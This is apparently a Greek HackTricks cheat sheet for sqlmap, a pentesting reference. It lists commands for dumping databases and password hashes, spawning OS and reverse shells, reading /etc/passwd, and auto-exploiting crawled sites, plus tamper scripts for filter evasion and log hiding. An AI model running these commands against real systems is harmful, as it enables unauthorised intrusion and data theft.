SQLMap - Cheetsheat

Υποστήριξη HackTricks

Άμεση διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν.

Βασικά επιχειρήματα για το SQLmap

Γενικά

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Ανάκτηση Πληροφοριών

Εσωτερικό

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Δεδομένα DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

Από την καταγραφή του Burp/ZAP

Καταγράψτε το αίτημα και δημιουργήστε ένα req.txt αρχείο

sqlmap -r req.txt --current-user

Εισαγωγή Αιτήματος GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Εισαγωγή Αιτήματος POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Υποδείξτε τη συμβολοσειρά όταν η ένεση είναι επιτυχής

--string="string_showed_when_TRUE"

Eval

Sqlmap επιτρέπει τη χρήση του -e ή --eval για την επεξεργασία κάθε payload πριν την αποστολή του με κάποιο python oneliner. Αυτό καθιστά πολύ εύκολη και γρήγορη την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν την αποστολή του. Στο παρακάτω παράδειγμα, το flask cookie session είναι υπογεγραμμένο από το flask με το γνωστό μυστικό πριν την αποστολή του:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Κέλυφος

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Διαβάστε το αρχείο

--file-read=/etc/passwd

Crawling a website with SQLmap and auto-exploit

Σάρωση μιας ιστοσελίδας με το SQLmap και αυτόματη εκμετάλλευση

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Δεύτερη Τάξη Εισαγωγής

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Διαβάστε αυτή την ανάρτηση για το πώς να εκτελέσετε απλές και σύνθετες δεύτερες παραγγελίες με sqlmap.

Προσαρμογή Εισαγωγής

Ορίστε ένα επίθημα

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Πρόθεμα

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Βοήθεια για την εύρεση λογικής ένεσης

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Θυμηθείτε ότι μπορείτε να δημιουργήσετε το δικό σας tamper σε python και είναι πολύ απλό. Μπορείτε να βρείτε ένα παράδειγμα tamper στη σελίδα Δεύτερης Τάξης Εισαγωγής εδώ.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription

apostrophemask.py

Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8

apostrophenullencode.py

Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode

appendnullbyte.py

Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload

base64encode.py

Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload

between.py

Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με 'NOT BETWEEN 0 AND #'

bluecoat.py

Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE

chardoubleencode.py

Διπλά κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)

commalesslimit.py

Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M'

commalessmid.py

Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)'

concat2concatws.py

Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)

charunicodeencode.py

Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022"

charunicodeescape.py

Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022"

equaltolike.py

Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο ('=') με τον τελεστή 'LIKE'

escapequotes.py

Διαφεύγει τις αποστροφές (' και ")

greatest.py

Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με τον αντίστοιχο 'GREATEST'

halfversionedmorekeywords.py

Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί

ifnull2ifisnull.py

Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Περιβάλλει το πλήρες ερώτημα με σχολιασμό έκδοσης

modsecurityzeroversioned.py

Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης

multiplespaces.py

Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL

nonrecursivereplacement.py

Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα

percentage.py

Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα

overlongutf8.py

Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)

randomcase.py

Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή περίπτωσης

randomcomments.py

Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL

securesphere.py

Προσθέτει ειδικά κατασκευασμένο string

sp_password.py

Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS

space2comment.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια

space2dash.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με ένα σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n')

space2hash.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n')

space2morehash.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n')

space2mssqlblank.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων

space2mssqlhash.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n')

space2mysqlblank.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων

space2mysqldash.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με ένα σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n')

space2plus.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με το σύμβολο συν ('+')

space2randomblank.py

Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων

symboliclogical.py

Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και

unionalltounion.py

Αντικαθιστά το UNION ALL SELECT με το UNION SELECT

unmagicquotes.py

Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει)

uppercase.py

Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με την κεφαλαία τιμή 'INSERT'

varnish.py

Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP'

versionedkeywords.py

Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση

versionedmorekeywords.py

Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση

xforwardedfor.py

Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For'

Άμεση διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν.

Υποστήριξη HackTricks

Last updated